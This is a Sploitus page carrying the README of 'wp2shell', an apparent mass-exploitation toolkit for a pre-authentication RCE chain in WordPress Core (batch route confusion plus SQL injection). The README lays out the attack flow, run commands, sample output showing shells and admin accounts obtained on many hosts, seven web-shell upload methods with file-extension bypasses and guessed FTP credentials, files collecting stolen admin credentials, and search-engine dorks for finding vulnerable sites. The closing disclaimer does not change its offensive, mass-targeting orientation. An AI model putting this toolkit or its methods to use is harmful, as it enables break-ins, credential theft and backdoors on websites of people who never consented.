Sploitus

Exploit for Interpretation Conflict in Wordpress

githubexploit Β· 2026-08-05

Exploit Code

README250 lines
## https://sploitus.com/exploit?id=EC2B25A4-889A-5D7C-9793-6DABDD56AEF6
# wp2shell β€” WordPress Core Pre-Auth RCE

**CVE-2026-63030** (Batch Route Confusion) + **CVE-2026-60137** (SQL Injection)


  
  
  
  
  


Zero-dependency exploitation toolkit for the wp2shell vulnerability chain in WordPress Core. A single anonymous HTTP request achieves remote code execution on a default WordPress installation with no plugins required.

---

## πŸ“‹ Table of Contents

- [Affected Versions](#-affected-versions)
- [Exploitation Flow](#-exploitation-flow)
- [Quick Start](#-quick-start)
- [Demo](#-demo)
- [Features](#-features)
- [Upload Methods](#-upload-methods)
- [Output Files](#-output-files)
- [Dork / Hunting](#-dork--hunting)
- [References](#-references)
- [Disclaimer](#-disclaimer)

---

## 🎯 Affected Versions

| Range | Impact | Fixed In |
|---|---|---|
| **7.0.0 – 7.0.1** | Full RCE | 7.0.2 |
| **6.9.0 – 6.9.4** | Full RCE | 6.9.5 |
| **6.8.0 – 6.8.5** | SQLi only | 6.8.6 |

> **No plugins or special configuration required.** A naked WordPress install is exploitable.

---

## πŸ”— Exploitation Flow

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ANONYMOUS HTTP REQUEST             β”‚
β”‚  POST /?rest_route=/batch/v1        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                 β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  CVE-2026-63030: Batch Desync       β”‚
β”‚  Malformed path β†’ WP_Error β†’        β”‚
β”‚  Array misalignment β†’ Auth Bypass   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                 β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  CVE-2026-60137: SQL Injection      β”‚
β”‚  author__not_in β†’ unsanitized β†’     β”‚
β”‚  UNION SELECT extraction            β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                 β”‚
     β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
     β”‚           β”‚           β”‚
β”Œβ”€β”€β”€β”€β–Όβ”€β”€β”€β”€β” β”Œβ”€β”€β”€β–Όβ”€β”€β”€β”€β” β”Œβ”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ oEmbed  β”‚ β”‚ Blind  β”‚ β”‚ Changeset    β”‚
β”‚ Seeding β”‚ β”‚ SQLi   β”‚ β”‚ Re-entrancy  β”‚
β”‚ Write   β”‚ β”‚ Read   β”‚ β”‚ Escalation   β”‚
β”‚ Cache   β”‚ β”‚ IDs    β”‚ β”‚ β†’ Admin User β”‚
β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”¬β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
     β”‚           β”‚           β”‚
     β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                 β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  ADMIN CREATED (pre-auth!)          β”‚
β”‚  β†’ Login β†’ Upload Shell (7 methods) β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## πŸš€ Quick Start

```bash
pip install requests
python exploit.py
```

```
╔══════════════════════════════════════════════════════════════╗
β•‘  WP2SHELL β€” WordPress Core Pre-Auth RCE Exploit              β•‘
β•‘  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    β•‘
β•‘  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15
```

### Single Target

```bash
python exploit.py
```
```
  [?] Target [url/list.txt] > https://vulnerable-site.com

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚                    SCAN CONFIGURATION                   β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Targets : 1       Threads  : 1      Dir  : wp_core_rceβ”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚  EXPLOIT SUCCESS                                       β”‚
  β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
  β”‚  Method : direct-plugin                                β”‚
  β”‚  Shell  : https://target.com/wp-content/plugins/...  β”‚
  β”‚  Login  : https://target.com/wp-login.php              β”‚
  β”‚  User   : wp2s_abc123def                               β”‚
  β”‚  Pass   : WP2S!xxxxxxxxxxxxxxxx                        β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

### Mass Scan

```bash
python exploit.py
```

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                    SCAN CONFIGURATION                   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Targets : 500    Threads  : 15     Dir  : wp_core_rce β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚            β”‚                                        β”‚              β”‚
β”‚  #/TOTAL   β”‚ HOST                                   β”‚ STATUS       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚    1/500   β”‚ vulnerable-site.com                    β”‚ SHELL        β”‚
β”‚            β”‚   ↳ direct-plugin β†’ https://vulnerabl...             β”‚
β”‚    2/500   β”‚ target2.com                            β”‚ ADM          β”‚
β”‚    3/500   β”‚ safe-site.org                          β”‚ SQLi         β”‚
β”‚    4/500   β”‚ nope.com                               β”‚ NO           β”‚
β”‚    5/500   β”‚ jackpot.net                            β”‚ SHELL        β”‚
β”‚            β”‚   ↳ theme-editor β†’ https://jackpot.ne...              β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  result.txt         β”‚  admin credentials               β”‚
β”‚  result_upload.txt  β”‚  shell upload URLs               β”‚
β”‚  log/scanned.txt    β”‚  scanned hosts                   β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

---

## ✨ Features

- **Zero dependencies** β€” Python 3.11+ stdlib only (`requests` for expander only)
- **Multi-threaded** β€” 15 threads default, up to 30
- **Auto-resume** β€” `log/scanned.txt` skips already-scanned targets
- **Silent batch mode** β€” Clean table output, no log spam
- **Auto-detection** β€” WordPress + batch API + SQLi availability checks
- **7 parallel upload methods** β€” First-win race condition

---

## πŸ“€ Upload Methods

All 7 methods execute in parallel via `ThreadPoolExecutor`. The first successful method wins and the rest are cancelled.

| # | Method | Description |
|---|---|---|
| 1 | `direct-plugin` | Upload zip via `/wp-admin/plugin-install.php` |
| 2 | `direct-theme` | Upload zip via `/wp-admin/theme-install.php` |
| 3 | `rest-api` | POST zip to `/wp-json/wp/v2/plugins` with auth cookie |
| 4 | `plugin-editor` | Write PHP directly via `/wp-admin/plugin-editor.php` |
| 5 | `theme-editor` | Write PHP into active theme directory |
| 6 | `ftp-bypass` | Submit FTP credentials when WordPress requests them |
| 7 | `media-upload` | Upload PHP via media library with 15 extension variants |

**Media upload extensions:** `.phtml` `.php5` `.php7` `.php8` `.pht` `.phar` `.shtml` `.php4` `.phps` `.phtm` `.Php5` `.PhP5` `.pHtml` `.phP` `.PHP`

**FTP credentials tried:** `localhost` / `127.0.0.1` with `root` / `www-data` / WordPress admin credentials

---

## πŸ“ Output Files

| File | Content |
|---|---|
| `result.txt` | Admin credentials: `url.com/wp-login.php:user:pass` |
| `result_upload.txt` | Shell URLs: `shell_url \| login_url:user:pass \| method` |
| `log/scanned.txt` | All scanned hosts (auto-skip on re-run) |

---

## πŸ” Dork / Hunting

### Shodan
```
http.title:"WordPress"
http.component:"WordPress"
```

### Fofa
```
app="WordPress"
body="wp-json"
body="/batch/v1"
```

### ZoomEye
```
app:"WordPress"
"/wp-json/batch/v1"
```

### Censys
```
services.http.response.body:"/wp-json/batch/v1"
```

---

## πŸ“š References

- [Searchlight Cyber Advisory](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/)
- [Hadrian Technical Blog](https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api)
- [WordPress 7.0.2 Release](https://wordpress.org/news/2026/07/wordpress-7-0-2-release/)
- [Assetnote Research](https://github.com/assetnote)
- [Wordfence Threat Intel](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wordpress-core-69-701-remote-code-execution-via-rest-api-batch-request-route-confusion)

---

## ⚠️ Disclaimer

This tool is provided for **authorized security research and penetration testing only**. Use only on systems you own or have explicit written permission to test. The authors accept no liability for misuse.

---

## πŸ“„ License

MIT License. See [LICENSE](LICENSE) for details.